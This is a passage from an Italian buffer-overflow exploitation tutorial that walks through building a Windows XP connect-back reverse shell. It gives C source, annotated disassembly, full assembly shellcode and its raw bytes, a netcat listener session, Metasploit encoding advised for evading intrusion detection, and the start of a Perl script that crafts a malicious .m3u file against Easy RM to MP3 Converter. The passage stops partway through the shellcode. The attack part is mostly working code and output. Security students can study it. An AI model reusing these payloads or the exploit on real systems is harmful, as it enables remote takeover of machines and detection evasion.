che vanno per la maggiore. Sono essenzialmente due, a seconda dei casi l’una è preferibile all’altra e viceversa. La decisione viene presa a seconda di come è impostato il firewall sul sistema obiettivo. Un firewall può filtrare le connessioni dall’esterno verso l’interno, il contrario, oppure in entrambi i sensi impedendo qualsiasi traffico su quella porta. In molti casi è necessario impostare questi dispostivi in modo tale che accettino dati dall’esterno verso un certa porta solo se la connessioni è stata iniziata da un pc locale. In questo caso quello he ci occorre è una shell “connect-back”. Ciò significa che il codice, una volta eseguito si connetterà dall’interno della rete in questione verso noi. In questo modo il firewall permetterà il transito dei dati. Se invece ci sono porte accessibili, si può ricorrere alla più standard, “port-binding” shell. Essa si mette in ascolto su una certa porta in attesa di una connessione. Questa si presta meglio ad essere impostata come permanente, perché, come un server, può dedicare un nuovo processo per ogni nuova connessione in arrivo. Ma non è comunque strettamente Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 143 di 193
System exploitation using buffer overflow
necessario. Questo lo abbiamo già visto nel caso di linux in uno dei capitoli precedenti. Per non ripetere lo stesso esempio, vediamo come costruire la backdoor “connect-back” in C; nel linguaggio di alto livello, è relativamente semplice da fare; --------- ConnectBack.c -----------------------/* * Connect-back shell Windows XP pro 32 Bit SP3 * Connect back to port 4444 */ #include <windows.h> #include <winsock2.h> /* * Close socket and free resources */ void ClearAndExit(SOCKET sock) { if(sock != 0) { closesocket(sock); } WSACleanup(); ExitProcess(0); } /* * Program entry point */ int main(void) { // Network structures WSADATA wsaData; SOCKET Localsd; struct sockaddr_in remote_attacker; // Process structures STARTUPINFOA ProcessProperties; PROCESS_INFORMATION ProcessInfo; // Init socket WSAStartup(MAKEWORD(2,2),&wsaData); if((Localsd = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL, (unsigned int)NULL, (unsigned int)NULL)) == INVALID_SOCKET) { ClearAndExit(0); } // Fill sockaddr_in structure remote_attacker.sin_family = AF_INET; remote_attacker.sin_addr.s_addr = inet_addr("192.168.0.33"); remote_attacker.sin_port = htons(4444); // Connect back to attacker if(WSAConnect(Localsd, (struct sockaddr*)&remote_attacker,sizeof(remote_attacker), NULL,NULL,NULL,NULL) == SOCKET_ERROR) { ClearAndExit(Localsd); } // Prepare process Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 144 di 193
System exploitation using buffer overflow
ZeroMemory(&ProcessProperties,sizeof(ProcessProperties)); ProcessProperties.cb = sizeof(ProcessProperties); ProcessProperties.dwFlags = STARTF_USESTDHANDLES; // Std streams redirection ProcessProperties.hStdInput = ProcessProperties.hStdOutput = ProcessProperties.hStdError = (HANDLE)Localsd; // Execute prompt CreateProcessA(NULL,"cmd",NULL,NULL,1,0,NULL,NULL,&ProcessProperties,&ProcessInfo); WaitForSingleObject(ProcessInfo.hProcess,INFINITE); ClearAndExit(Localsd); return 0; } --------- ConnectBack.c END -----------------------Possiamo testare il programma utilizzando netcat e ponendolo in ascolto sulla porta 4444 otteniamo una back shell al momento dell’esecuzione del programma: C:\env\nc11nt>nc -v -l -p 4444 listening on [any] 4444 ... eseguiamo e ... connect to [192.168.0.33] from wsxp [192.168.0.33] 7181 Microsoft Windows XP [Versione 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\env\Backdoor_code\ConnectBack\bin\Debug>dir /w dir /w Il volume nell'unità C non ha etichetta. Numero di serie del volume: 109B-E88D Directory di C:\env\Backdoor_code\ConnectBack\bin\Debug [.]
[..] 1 File 2 Directory
ConnectBack.exe 30.892 byte 16.934.092.800 byte disponibili
C:\env\Backdoor_code\ConnectBack\bin\Debug>exit Una volta che abbiamo verificato che il programma non ha errori, possiamo analizzare il codice macchina generato in modo da sapere come configurare la shellcode, cerco di descrivere le operazioni con dei commenti: // [1] La seguente è la funzione per la chiusura del socket e il rilascio delle risorse allocate. PUSH EBP MOV EBP,ESP SUB ESP,18 CMP DWORD PTR SS:[EBP+8],0 JE SHORT ConnectB.00401332 MOV EAX,DWORD PTR SS:[EBP+8] MOV DWORD PTR SS:[ESP],EAX CALL <JMP.&WS2_32.closesocket> SUB ESP,4 Copyright © Matteo Tosato 2010-2011
; ; ; ; ; ; ; ; ;
Se il socket != 0 Salta a WSACLEANUP altrimenti sposta in EAX il socket -> __in SOCKET sock closesocket() Incremento per la chiamata tosatz@tiscali.it rev.2.2
Pag. 145 di 193
System exploitation using buffer overflow
CALL <JMP.&WS2_32.WSACleanup> ; WSACleanup() MOV DWORD PTR SS:[ESP],0 ; Sposta 0, il valore di ritorno, nello stack CALL <JMP.&KERNEL32.ExitProcess>; ExitProcess() LEA ECX,DWORD PTR SS:[ESP+4] ; AND ESP,FFFFFFF0 ; PUSH DWORD PTR DS:[ECX-4] ; Questo è l’entry point del programma PUSH EBP MOV EBP,ESP PUSH ECX SUB ESP,234 CALL ConnectB.00401950 LEA EAX,DWORD PTR SS:[EBP-19C] MOV DWORD PTR SS:[ESP+4],EAX MOV DWORD PTR SS:[ESP],202 CALL <JMP.&WS2_32.WSAStartup>
; ; ; ; ; ; ; ; ;
Alloca memoria per le variabili locali MACRO [non riporto il codice] Viene recuperato l’oggetto WSADATA -> __out LPWSADATA lpWSAData -> __in WORD wVersionRequested WSAStartup()
SUB ESP,8 MOV DWORD PTR SS:[ESP+14],0 MOV DWORD PTR SS:[ESP+10],0 MOV DWORD PTR SS:[ESP+C],0 MOV DWORD PTR SS:[ESP+8],6 MOV DWORD PTR SS:[ESP+4],1 MOV DWORD PTR SS:[ESP],2 CALL <JMP.&WS2_32.WSASocketA>
; ; ; ; ; ; ; ;
Allocazione per gli argomenti di WSASocket -> __in DWORD dwFlags -> __in GROUP g -> __in LPWSAPROTOCOL_INFO lpProtocolInfo -> __in int protocol -> __in int type -> __in int af WSASocketA()
SUB ESP,18 MOV DWORD PTR SS:[EBP-C],EAX CMP DWORD PTR SS:[EBP-C],-1 JNZ SHORT ConnectB.004013C1 MOV DWORD PTR SS:[ESP],0 CALL ConnectB.00401318
; ; ; ; ; ;
Allocazione per la chiamata a funzione Viene salvato il socket in [EBP-C] Qui viene controllato il valore di ritorno Se non è errore salta la routine seguente Altrimenti va alla routine di errore qui
Prosegue con la preparazione della struttura sockaddr_in MOV WORD PTR SS:[EBP-1AC],2 ; Famiglia IPv4 MOV DWORD PTR SS:[ESP],ConnectB.00403024 ; ASCII "192.168.0.33" allocata staticamente CALL <JMP.&WS2_32.inet_addr> ; inet_addr() SUB ESP,4 ; Allocazione per la prossima chiamata a funzione MOV DWORD PTR SS:[EBP-1A8],EAX ; Indirizzo ritornato convertito MOV DWORD PTR SS:[ESP],115C ; Numero di porta CALL <JMP.&WS2_32.htons> ; htons() SUB ESP,4 ; Altri 4 byte per la prossima chiamata MOV WORD PTR SS:[EBP-1AA],AX ; Sposto il numero di porta convertito LEA EAX,DWORD PTR SS:[EBP-1AC] ; Ora sposto il puntatore all’intera struttura in EAX MOV DWORD PTR SS:[ESP+18],0 ; -> __in LPQOS lpGQOS MOV DWORD PTR SS:[ESP+14],0 ; -> __in LPQOS lpSQOS MOV DWORD PTR SS:[ESP+10],0 ; -> __out LPWSABUF lpCalleeData MOV DWORD PTR SS:[ESP+C],0 ; -> __in LPWSABUF lpCalleeData MOV DWORD PTR SS:[ESP+8],10 ; -> __in int namelen MOV DWORD PTR SS:[ESP+4],EAX ; -> __const struct sockaddr *name MOV EAX,DWORD PTR SS:[EBP-C] ; viene recuperate il socket dalla posizione salvata MOV DWORD PTR SS:[ESP],EAX ; -> __SOCKET s CALL <JMP.&WS2_32.WSAConnect> ; WSAConnect() SUB ESP,1C ; Alloco memoria per la prossima chiamata Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 146 di 193
System exploitation using buffer overflow
CMP EAX,-1 JNZ SHORT ConnectB.00401445 MOV EAX,DWORD PTR SS:[EBP-C] MOV DWORD PTR SS:[ESP],EAX CALL ConnectB.00401318
; ; ; ; ;
Controlla il valore di ritorno di Connect Se non c’è errore, salta alla routine successiva altrimenti passa il socket alla routine di chiusura
Qui viene azzerata la struttura PROCESS_INFORMATION MOV DWORD PTR SS:[ESP+8],44 MOV DWORD PTR SS:[ESP+4],0 LEA EAX,DWORD PTR SS:[EBP-1F0] MOV DWORD PTR SS:[ESP],EAX CALL <JMP.&msvcrt.memset>
; ; ; ; ;
La dimensione di STARTUPINFO Valore di azzeramento Viene recuperato il puntatore Il primo argomento di memset memset()
Questa parte si occupa di preparare la struttura STARTUPINFO e di chiamare CreateProcess(). La struttura STARTUPINFO: typedef struct _STARTUPINFO { DWORD cb; LPTSTR lpReserved; LPTSTR lpDesktop; LPTSTR lpTitle; DWORD dwX; DWORD dwY; DWORD dwXSize; DWORD dwYSize; DWORD dwXCountChars; DWORD dwYCountChars; DWORD dwFillAttribute; DWORD dwFlags; WORD wShowWindow; WORD cbReserved2; LPBYTE lpReserved2; HANDLE hStdInput; HANDLE hStdOutput; HANDLE hStdError; } STARTUPINFO, *LPSTARTUPINFO; Mentre la struttura PROCESS_INFORMATION è la seguente: typedef struct _PROCESS_INFORMATION { HANDLE hProcess; HANDLE hThread; DWORD dwProcessId; DWORD dwThreadId; } PROCESS_INFORMATION, *LPPROCESS_INFORMATION; MOV MOV MOV MOV MOV MOV MOV MOV LEA
DWORD PTR DWORD PTR EAX,DWORD DWORD PTR EAX,DWORD DWORD PTR EAX,DWORD DWORD PTR EAX,DWORD
SS:[EBP-1F0],44 SS:[EBP-1C4],100 PTR SS:[EBP-C] SS:[EBP-1B0],EAX PTR SS:[EBP-1B0] SS:[EBP-1B4],EAX PTR SS:[EBP-1B4] SS:[EBP-1B8],EAX PTR SS:[EBP-200]
Copyright © Matteo Tosato 2010-2011
; ; ; ; ; ; ; ; ;
DWORD cb - Dimensione della struttura stessa DWORD dwFlags – flag STARTF_USESTDHANDLES Socket in EAX HANDLE hStdInput – Standard input per il nuovo processo Il socket viene rispostato in EAX HANDLE hStdOutput – Standard output Socket in EAX HNALDE hStdError – Standard error L’indirizzo della struttura PROCESS_INFORMATION è tosatz@tiscali.it rev.2.2
Pag. 147 di 193
System exploitation using buffer overflow
MOV DWORD PTR SS:[ESP+24],EAX ; l’ultimo argomento della per CreateProcess ; -> __out LPPROCESS_INFOMRATION lpProcessInformation LEA EAX,DWORD PTR SS:[EBP-1F0] ; L’indirizzo della struttura STARTUPINFO in EAX MOV DWORD PTR SS:[ESP+20],EAX ; -> __in LPSTARTUPINFO lpStartupInfo MOV DWORD PTR SS:[ESP+1C],0 ; -> __in_opt LPCTSTR lpCurrentDirectory MOV DWORD PTR SS:[ESP+18],0 ; -> __in_opt LPVOID lpEnvironment MOV DWORD PTR SS:[ESP+14],0 ; -> __in DWORD dwCreationFlags MOV DWORD PTR SS:[ESP+10],1 ; -> __in BOOL bInheritHandles MOV DWORD PTR SS:[ESP+C],0 ; -> __in_opt LPSECURITY_ATTRIBUTES lpThreadAttributes MOV DWORD PTR SS:[ESP+8],0 ; -> __in_opt LPSECURITY_ATTRIBUTES lpProcessAttributes MOV DWORD PTR SS:[ESP+4],ConnectB.004030> ; -> __inout_opt LPTSTR lpCommandLine (“cmd”) MOV DWORD PTR SS:[ESP],0 ; -> __in_opt LPCTSTR lpApplicationName CALL <JMP.&KERNEL32.CreateProcessA> ; CreateProcessA() SUB ESP,28 ; MOV EAX,DWORD PTR SS:[EBP-200] ; Indirizzo di PROCESS_INFOMRATION in EAX MOV DWORD PTR SS:[ESP+4],-1 ; -> __in DWORD dwMilliseconds (Infinito) MOV DWORD PTR SS:[ESP],EAX ; -> __in DWORD hHandle CALL <JMP.&KERNEL32.WaitForSingleObject> ; WaitForSingleObject() SUB ESP,8 ; MOV EAX,DWORD PTR SS:[EBP-C] ; Socket in EAX MOV DWORD PTR SS:[ESP],EAX ; Socket CALL ConnectB.00401318 ; Viene chiamata la routine per la chiusura [1] MOV EAX,0 ; MOV ECX,DWORD PTR SS:[EBP-4] ; LEAVE ; LEA ESP,DWORD PTR DS:[ECX-4] ; RETN ; Spero di aver commentato il codice generato dal compilatore in modo esauriente. Se avete notato, ci sono più occasioni dove tale codice può essere ottimizzato. Dunque ora serve recuperare le cose che abbiamo detto in precedenza ed unire le conoscenze per scrivere il codice assembly completo. Ricordiamoci che occorrerà trovare i moduli che ci occorrono, caricarli e risolvere gli hash delle funzioni. Procediamo con il listato assembly, commento nuovamente ogni riga, in inglese, essendo il sorgente. Lo troverete piuttosto lungo rispetto ai precedenti. --------- ConnectBack.asm -----------------------[section .text] [BITS 32] ; ============================================================================== ; ; Connect Back Windows XP professional 32 bit working on SP 1,2,3. ; Matteo Tosato 2011 ; ; ============================================================================== global _main _main: jmp startup_bnc
; jump to main, skip find_kernel32 and find_function
; ============================================================================== ; ==================== find_kernel32 function ================================== ; Finding kernel32.dll address base find_kernel32: ; [6] push esi ; Save register xor eax, eax ; Set EAX to 0
Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 148 di 193
System exploitation using buffer overflow mov eax, [fs:eax + 0x30]; Save address of BEP process struct in EAX mov eax, [eax + 0x0c] ; Extract the pointer to the PEB_LDR_DATA mov esi, [eax + 0x1c] ; Extract the first entry in the initialization order module list lodsd ; Grab the next entry in the list with points to kernel32.dll mov eax, [eax + 0x8] ; Grab the module base address and store it in EAX pop esi ; Restore ESI register to initial value ret ; Return to caller ; Kernel32.dll base address is in EAX ; ============================================================================== ; ============================================================================== ; ==================== find_function =========================================== ; Resolving API symbol find_function: ; [8] (At this point hash function and kernel32 b. address is on the top of the stack) pushad ; Save all register mov ebp, [esp + 0x24] ; Store the base address of module that is being loaded from EBP mov eax, [ebp + 0x3c] ; Skip the DOS header mov edx, [ebp + eax + 0x78] ; The export table is 0x78 bytes from the start of the PE header. ; Extract it and store the relative address in EDX add edx, ebp ; Make the export table address absolute by adding the base address to it mov ecx, [edx + 0x18] ; Extract the number of exported items and store it in ECX which will be used as the counter mov ebx, [edx + 0x20] ; Extract the names table relative offset and store it in EBX add ebx, ebp ; Make the names table address absolute by adding the base address to it find_function_loop: ; If ECX is zero then the last symbol has been checked and as such jump to the end of the function. ; If this condition is ever true then the requested symbol was not resolved properly jecxz find_function_finished dec ecx ; Decrement the counter mov esi, [ebx + ecx * 4]; Extract relative offset of the name associated with the current symbol and store it in ESI add esi, ebp ; Make the address of the symbol name absolute by adding the base address to it compute_hash: xor edi, edi xor eax, eax cld
; ; ; ; ;
compute_hash_again: ; lodsb ; test al, al ; ; If SF is set the end of jz compute_hash_finished ror edi, 0xd ; add edi, eax ; jmp compute_hash_again ;
Zero EDI it will hold the hash value for the current symbols function name Zero EAX in order to ensure that high order bytes are zero as this will hold the value of each character as it walks the symbols name. Clear the direction flag to ensure that is increments instead of decrements when using the lods instructions. (loop until symbols are solved at all) Load the byte at esi, the current symbol name, into al and increment ESI. Bitwise test al with itself to see if the end of the string has been reached the string has been reached. Jump to the end of the hash calculation. Rotate the current value of the hash 13 bits to the right Add the current character of the symbol name Continue looping through the symbol name
compute_hash_finished: find_function_compare: cmp edi, [esp + 0x28] ; Check to see if the computed hash matches the requested hash ; If the hashes do not match, continue enumerating the exported symbol list. ; Otherwise, drop down and extract the VMA of the symbol jnz find_function_loop mov ebx, [edx + 0x24] ; Extract the ordinals table relative offset and store it in EBX add ebx, ebp ; Make the ordinals table address absolute by adding the base address to it mov cx, [ebx + 2 * ecx] ; Extract the current symbols ordinal number form the ordinal table. ; Ordinals are two bytes in size. mov ebx, [edx + 0x1c] ; Extract the address table relative offset and store it in EBX add ebx, ebp ; Make the address table absolute by adding the base address to it mov eax, [ebx + 4 * ecx]; Extract the relative function offset from its ordinal and store it in EAX add eax, ebp ; Make the function's address absolute by adding the base address to it mov [esp + 0x1c], eax ; Overwrite the stack copy of the preserved EAX register so that ; when popad is finished the appropriate return value will be set find_function_finished: popad ; Restore all-purpose registers ret ; Return to the caller ; ============================================================================== ; ==============================================================================
Copyright Š Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 149 di 193
System exploitation using buffer overflow ; ==================== MAIN ==================================================== startup_bnc: ; [1] jmp startup ; jump to startup resolve_symbols_for_dll: lodsd
; [7] ; Load the current function hash stored at ESI into EAX ; [lodsd = 'mov eax, esi; add esi, 4'] push eax ; Push the hash to the stack as the second argument to find_function push edx ; Push the base address of the DLL being loaded from as the first argument call find_function ; Resolve symbol mov [edi], eax ; Save the VMA of te function in the memory location at EDI add esp, 0x08 ; Restore 8 bytes to the stack for the two arguments add edi, 0x04 ; Add 4 to EDI to move to the next position in the array that will hold the output VMA's cmp esi, ecx ; Check to see if ESI matches with the boundary for stopping symbol lookup ; If the two address are not equal, continue the loop. Otherwise, fall through to the ret jne resolve_symbols_for_dll ; loop
resolve_symbols_for_dll_finished: ret ; Return to the caller kernel32_symbol_hashes: ; LoadLibraryA hash db 0x8e db 0x4e db 0x0e db 0xec ; CreateProcessA hash db 0x72 db 0xfe db 0xb3 db 0x16 ; ExitProcess hash db 0x7e db 0xd8 db 0xe2 db 0x73 ws2_32_symbol_hashes: ; WSASocketA hash db 0xd9 db 0x09 db 0xf5 db 0xad ; WSAConnect hash db 0x0c db 0xba db 0x2d db 0xb3 ; WSAStartup hash db 0xcb db 0xed db 0xfc db 0x3b startup: sub esp, 0x60 mov ebp, esp jmp get_absolute_address_forward get_absolute_address_middle: jmp get_absolute_address_end get_absolute_address_forward: call get_absolute_address_middle get_absolute_address_end: ;-> trick, POP the absolute address pop esi call find_kernel32 mov edx, eax resolve_kernel32_symbols: sub esi, 0x26 lea edi, [ebp+0x04]
Copyright Š Matteo Tosato 2010-2011
; [2] ; Allocate 0x60 bytes of space for the use with storing function ptr VMA's ; Use EBP as the frame pointer throughout the code ; Jump forward past the middle ; [4] ; Jump to the end now that the return address has been obtained ; [3] ; Call backwards to push the VMA that points to 'pop esi' into the stack ; [5] of 'pop esi' instruction in ESI register <; Pop the return address of the stack into ESI ; Resolve the base address of kernel32.dll by what-ever means ; Save the base address of kernel32.dll in EDX ; EDX now hold the base address of kernel32.dll ; Subtract 0x26 from ESI to point to first entry in the hash table list above. ; This parameter will be used as the source address for resolve_symbols_for_dll. ; Set EDI to the frame pointer plus 0x04.
tosatz@tiscali.it rev.2.2
Pag. 150 di 193
System exploitation using buffer overflow ; ; ; ; ; ; ; ; ;
This address will be used to store the VMA's of the corresponding hashes Set ECX to ESI Add 0x0c to ECX to indicate that the stop boundary is 12 bytes past ESI. This is determined by the fact that three symbols are being loaded from dll Resolve all of the requested kernel32.dll symbols [9] now EDX Add 0x0c to ECX to indicate that the stop boundary for the ws2_32.dll is 8 past the current value in ESI. This is determined by the fact that three symbols are being loaded from
ws2_32.dll xor eax, eax mov ax, 0x3233 push eax push 0x5f327377 mov ebx, esp push ecx push edx push ebx call [ebp + 0x04] pop edx pop ecx mov edx, eax call resolve_symbols_for_dll
; ; ; ; ; ; ; ; ; ; ; ; ;
Zero EAX so that the high order bytes are zero Set the low order bytes of EAX to 32 Push the null-terminated string '32' into the stack Push the string 'ws2_' into the stack to complete 'ws2_32' Save the pointer to 'ws2_32' in ebx Preserve ecx as it may be clobbered across the function call Preserve edx as it may be clobbered across the function call Push argument pointer to 'ws2_32' Call LoadLibraryA and map ws2_32.dll into process space Restore Restore Save the base address of ws2_32.dll in EDX Resolve all of the requested ws2_32.dll symbols
initialize_cmd: mov eax, 0xff757e74 sub eax, 0xff111111 push eax mov [ebp + 0x30], esp
; ; ; ; ;
Build 'cmd' string Forge 'cmd' form 0xff757e74 Obtain 'cmd\0' by a subtraction Push string into the stack Saved ptr to cmd away
initialize_networking: xor edx, edx mov dh, 0x03 sub esp, edx push esp push 0x02 call [ebp + 0x18] add esp, 0x0300
; ; ; ; ; ; ; ;
WSADATA structure will be build on the stack Zero EDX Size of WSADATA struct is 0x190 Allocate space (768 bytes), WSADATA is at a safe position Push argument address of WSADATA Push argument version requested Call WSAStartup Restore stack
create_socket: xor eax, eax push eax push eax push eax push eax push 0x01 push 0x02 call [ebp + 0x10] mov esi, eax
; ; ; ; ; ; ; ; ;
Set EAX to 0 Push argument DwFlags -> NULL Push argument GROUP -> NULL Push argument LPWSAPROTOCOL_INFO Push argument Proto IPPROTO_TCP Push argument Type SOCK_STREAM Push argument Family AF_INET Call WSASocket Save socket in ESI
prepare_sockaddr_in: push 0x0101017f mov eax, 0x5c110102 dec ah push eax mov ebx, esp
; ; ; ; ;
Push loopback address in network byte order Value for obtain port number and family Obtain familiy IPv4 value Push structure Move address of sockaddr structure in EBX
do_connect: xor eax, eax push eax push eax push eax push eax push 0x10 push ebx push esi call [ebp + 0x14]
; ; ; ; ; ; ; ; ;
Zero Push Push Push Push Push Push Push Call
initilize_startupinfo: xor ecx, ecx mov cl, 0x54
; Zero ECX ; Size of STARTUPINFO and PROCESS_INFORMATION structures
mov ecx, esi add ecx, 0x0c call resolve_symbols_for_dll resolve_winsock_symbols: add ecx, 0x0c
Copyright Š Matteo Tosato 2010-2011
EAX argument LPQOS -> NULL argument LPQOS -> NULL argument LPWSABUF -> NULL argument LPWSABUF -> NULL argument Size of sockaddr structure argument sockaddr structure address argument SOCKET WSAConnect
tosatz@tiscali.it rev.2.2
Pag. 151 di 193
System exploitation using buffer overflow sub esp, ecx mov edi, esp push edi zero_structure: xor eax, eax rep stosb pop edi initialize_structs: mov byte [edi], 0x44 inc byte [edi + 0x2d] push edi mov eax, esi lea edi, [edi + 0x38] stosd stosd stosd pop edi execute_process: xor eax, eax lea esi, [edi + 0x44] push esi push edi push eax push eax push eax inc eax push eax dec eax push eax push eax push dword [ebp + 0x30] push eax call [ebp + 0x08]
; Allocate stack space for structures ; Save address of STARTUPINFO ; Preserve EDI ; Zero EAX ; Repeat storing zero at the buffer starting at EDI until ECX is zero ; Restore EDI to its original value ; ; ; ; ; ; ; ;
Set the cb attribute of STARTUPINFO to the size of the structure itself Set the STARTF_USESTDHANDLES flag to indicate that std stream should be used Preserve EDI again it will be modified by the stosd Set EAX to SOCKET descriptor Load the effective address of the hStdInput attribute in the struct Set the hStdInput attribute with socket Set the hStdOutput attribute with socket Set the hStdError attribute with socket
; ; ; ; ; ; ; ; ; ; ; ; ; ; ;
Zero eax Load the effective address of PROCESS_INFORMATION into ESI Push argument pointer to the lpProcessInformation Push argument pointer to the lpStartupInfo Push argument lpStartupDirectory arg as NULL Push argument lpEnvironment Push argument dwCreationFlags Increment by 1 Push argument bInheritHnadles Decrement EAX back to zero Push argument lpProcessAttributes arg. as NULL Push argument lpProcessAttributes arg. as NULL Push argument lpCommandLine argument as the pointer to 'cmd' Push argument lpApplicationName as NULL Call to CreateProcess
exit_process: call [ebp + 0x0c] ; Call to ExitProcess ; ==============================================================================
--------- ConnectBack.asm END -----------------------Il lavoro successivo è compilare ed inserire la shellcode per testarla. Il solito codice per il test è il seguente: --------- shellcode_test.c -----------------------char code[]= "\xeb\x61\x56\x31\xc0\x64\x8b\x40" "\x30\x8b\x40\x0c\x8b\x70\x1c\xad" "\x8b\x40\x08\x5e\xc3\x60\x8b\x6c" "\x24\x24\x8b\x45\x3c\x8b\x54\x05" "\x78\x01\xea\x8b\x4a\x18\x8b\x5a" "\x20\x01\xeb\xe3\x34\x49\x8b\x34" "\x8b\x01\xee\x31\xff\x31\xc0\xfc" "\xac\x84\xc0\x74\x07\xc1\xcf\x0d" "\x01\xc7\xeb\xf4\x3b\x7c\x24\x28" "\x75\xe1\x8b\x5a\x24\x01\xeb\x66" "\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb" "\x8b\x04\x8b\x01\xe8\x89\x44\x24" "\x1c\x61\xc3\xeb\x2d\xad\x50\x52" "\xe8\xa8\xff\xff\xff\x89\x07\x83" Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 152 di 193
System exploitation using buffer overflow
"\xc4\x08\x83\xc7\x04\x39\xce\x75" "\xec\xc3\x8e\x4e\x0e\xec\x72\xfe" "\xb3\x16\x7e\xd8\xe2\x73\xd9\x09" "\xf5\xad\x0c\xba\x2d\xb3\xcb\xed" "\xfc\x3b\x83\xec\x60\x89\xe5\xeb" "\x02\xeb\x05\xe8\xf9\xff\xff\xff" "\x5e\xe8\x5c\xff\xff\xff\x89\xc2" "\x83\xee\x26\x8d\x7d\x04\x89\xf1" "\x83\xc1\x0c\xe8\xad\xff\xff\xff" "\x83\xc1\x0c\x31\xc0\x66\xb8\x33" "\x32\x50\x68\x77\x73\x32\x5f\x89" "\xe3\x51\x52\x53\xff\x55\x04\x5a" "\x59\x89\xc2\xe8\x8d\xff\xff\xff" "\xb8\x74\x7e\x75\xff\x2d\x11\x11" "\x11\xff\x50\x89\x65\x30\x31\xd2" "\xb6\x03\x29\xd4\x54\x6a\x02\xff" "\x55\x18\x31\xd2\xb6\x03\x01\xd4" "\x31\xc0\x50\x50\x50\x50\x6a\x01" "\x6a\x02\xff\x55\x10\x89\xc6\x68" "\x7f\x01\x01\x01\xb8\x02\x01\x11" "\x5c\xfe\xcc\x50\x89\xe3\x31\xc0" "\x50\x50\x50\x50\x6a\x10\x53\x56" "\xff\x55\x14\x31\xc9\xb1\x54\x29" "\xcc\x89\xe7\x57\x31\xc0\xf3\xaa" "\x5f\xc6\x07\x44\xfe\x47\x2d\x57" "\x89\xf0\x8d\x7f\x38\xab\xab\xab" "\x5f\x31\xc0\x8d\x77\x44\x56\x57" "\x50\x50\x50\x40\x50\x48\x50\x50" "\xff\x75\x30\x50\xff\x55\x08\xff" "\x55\x0c";
int main(int argc, char **argv) { int (*func)(); func = (int (*)()) code; (int)(*func)(); } --------- shellcode_test.c END -----------------------Arrivati a questo punto siamo in grado di utilizzare il nostro shellcode per sfruttare la vulnerabilità che abbiamo analizzato. Prima di procedere alla scrittura dello script possiamo aggiungere uno step. Utilizzando la piattaforma metasploit, rendiamo il codice meno riconoscibile codificandolo. Abbiamo già visto questo tipo di tecnica nel capitolo 0x10, naturalmente il metodo utilizzato per codificare è variabile e dipende dall’autore dell’encoder. All’interno del framework metasploit di back-track versione 5, sono disponibili i seguenti moduli: Framework Encoders ================== Name ----
Rank ----
Copyright © Matteo Tosato 2010-2011
Description ----------tosatz@tiscali.it rev.2.2
Pag. 153 di 193
System exploitation using buffer overflow
cmd/generic_sh cmd/ifs cmd/printf_php_mq generic/none mipsbe/longxor mipsle/longxor php/base64 ppc/longxor ppc/longxor_tag sparc/longxor_tag x64/xor x86/alpha_mixed x86/alpha_upper x86/avoid_utf8_tolower x86/call4_dword_xor x86/context_cpuid x86/context_stat x86/context_time x86/countdown x86/fnstenv_mov x86/jmp_call_additive x86/nonalpha x86/nonupper x86/shikata_ga_nai x86/single_static_bit x86/unicode_mixed x86/unicode_upper
good low good normal normal normal great normal normal normal normal low low manual normal manual manual manual normal normal normal low low excellent manual manual manual
Generic Shell Variable Substitution Command Encoder Generic ${IFS} Substitution Command Encoder printf(1) via PHP magic_quotes Utility Command Encoder The "none" Encoder XOR Encoder XOR Encoder PHP Base64 encoder PPC LongXOR Encoder PPC LongXOR Encoder SPARC DWORD XOR Encoder XOR Encoder Alpha2 Alphanumeric Mixedcase Encoder Alpha2 Alphanumeric Uppercase Encoder Avoid UTF8/tolower Call+4 Dword XOR Encoder CPUID-based Context Keyed Payload Encoder stat(2)-based Context Keyed Payload Encoder time(2)-based Context Keyed Payload Encoder Single-byte XOR Countdown Encoder Variable-length Fnstenv/mov Dword XOR Encoder Jump/Call XOR Additive Feedback Encoder Non-Alpha Encoder Non-Upper Encoder Polymorphic XOR Additive Feedback Encoder Single Static Bit Alpha2 Alphanumeric Unicode Mixedcase Encoder Alpha2 Alphanumeric Unicode Uppercase Encoder
Per poter utilizzare un encoder dobbiamo trasferire la nostra shellcode in un formato “.bin”. La procedura è piuttosto semplice, il seguente è lo script in perl che se ne occupa: --------- pveWritebin.pl -----------------------#!/usr/bin/perl # Perl script written by Peter Van Eeckhoutte # http://www.corelan.be:8800 # This script takes a filename as argument # will write bytes in \x format to the file # if ($#ARGV ne 0) { print " usage: $0 ".chr(34)."output filename".chr(34)."\n"; exit(0); } system("del $ARGV[0]"); my $shellcode= "Put your shellcode here"; #open file in binary mode print "Writing to ".$ARGV[0]."\n"; open(FILE,">$ARGV[0]"); binmode FILE; print FILE $shellcode; close(FILE); print "Wrote ".length($shellcode)." bytes to file\n"; Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 154 di 193
System exploitation using buffer overflow
--------- pveWritebin.pl END -----------------------Una volta fatto abbiamo un file “.bin”. Utilizziamo msfencode dalla console del framework: root@bt:~# msfencode -v -e x86/alpha_mixed -t pl -i connbk_opcode.bin -o encoded_opcode.pl [*] x86/alpha_mixed succeeded with size 754 (iteration=1) Possiamo anche scegliere di codificarli più volte, per abbassare la probabilità di intercettazione da parte degli IDS. Basta aggiungere il parametro –c. Riprendiamo il nostro script per la creazione del file ‘.m3u’, apportiamo le dovute modifiche: --------- BuildExploitFile.pl -----------------------# ConnectBack.pl # Easy RM to MP3 converter local exploit # Matteo Tosato 2011 # File name my $file= "crash.m3u"; # Build junk my $junk= "A" x 26105; # Return address # Jmp from muodule to ESP in USER32.dll my $eip= "\x53\x93\x3a\x7e"; # Build NOP sled my $nopsled= "\x90" x 48; # Connect back shellcode payload # Encoded with alpha_mixed matasploit framework module (one time) my $shellcode= "\x89\xe0\xdb\xd6\xd9\x70\xf4\x5b\x53\x59\x49\x49\x49\x49" . "\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" . "\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" . "\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" . 